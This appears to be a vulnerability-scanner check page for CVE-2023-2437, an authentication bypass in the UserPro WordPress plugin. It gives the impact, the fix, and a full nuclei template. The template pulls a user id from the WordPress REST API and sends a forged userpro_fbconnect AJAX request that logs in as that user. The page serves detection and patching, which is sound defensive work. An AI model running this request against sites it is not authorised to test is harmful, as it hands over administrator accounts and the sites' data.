UserPro <= 5.1.1 - Authentication Bypass

criticalseverity

9.8CVSS score

6.7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.

Impact

Unauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts.

Fix

Update UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action.

How to confirm it

Send: GET /wp-content/plugins/userpro/css/userpro.min.css
Positive when: contains(body, ".userpro") and status_code == 200
Send: GET /wp-json/wp/v2/users
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "{\"redirect_uri\":\"refresh\"}" or "wp-admin-bar-logout" or "<span class='display-name'>" AND contains in header "wordpress_logged_in" or "wordpress_sec_" AND status 200

Run it with nuclei: nuclei -id CVE-2023-2437 -u <target>

The full check

id: CVE-2023-2437

info:
  name: UserPro <= 5.1.1 - Authentication Bypass
  author: intelligent-ears
  severity: critical
  description: |
    The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
  impact: |
    Unauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts.
  remediation: |
    Update UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action.
  reference:
    - https://github.com/RxRCoder/CVE-2023-2437
    - https://www.wordfence.com/blog/2023/11/several-critical-vulnerabilities-including-privilege-escalation-authentication-bypass-and-more-patched-in-userpro-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2437
    - https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2437
    cwe-id: CWE-287
    epss-score: 0.06746
    epss-percentile: 0.94018
    cpe: cpe:2.3:a:userproplugin:userpro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: userproplugin
    product: userpro
    framework: wordpress
    fofa-query: body="/wp-content/plugins/userpro/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,userpro,auth-bypass,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, ".userpro")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-json/wp/v2/users HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: username
        part: body
        json:
          - '.[0].slug'
        internal: true

      - type: json
        name: user_id
        part: body
        json:
          - '.[0].id'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=userpro_fbconnect&id={{user_id}}&email={{username}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{\"redirect_uri\":\"refresh\"}"
          - "wp-admin-bar-logout"
          - "<span class='display-name'>"
        condition: or

      - type: word
        part: header
        words:
          - "wordpress_logged_in"
          - "wordpress_sec_"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from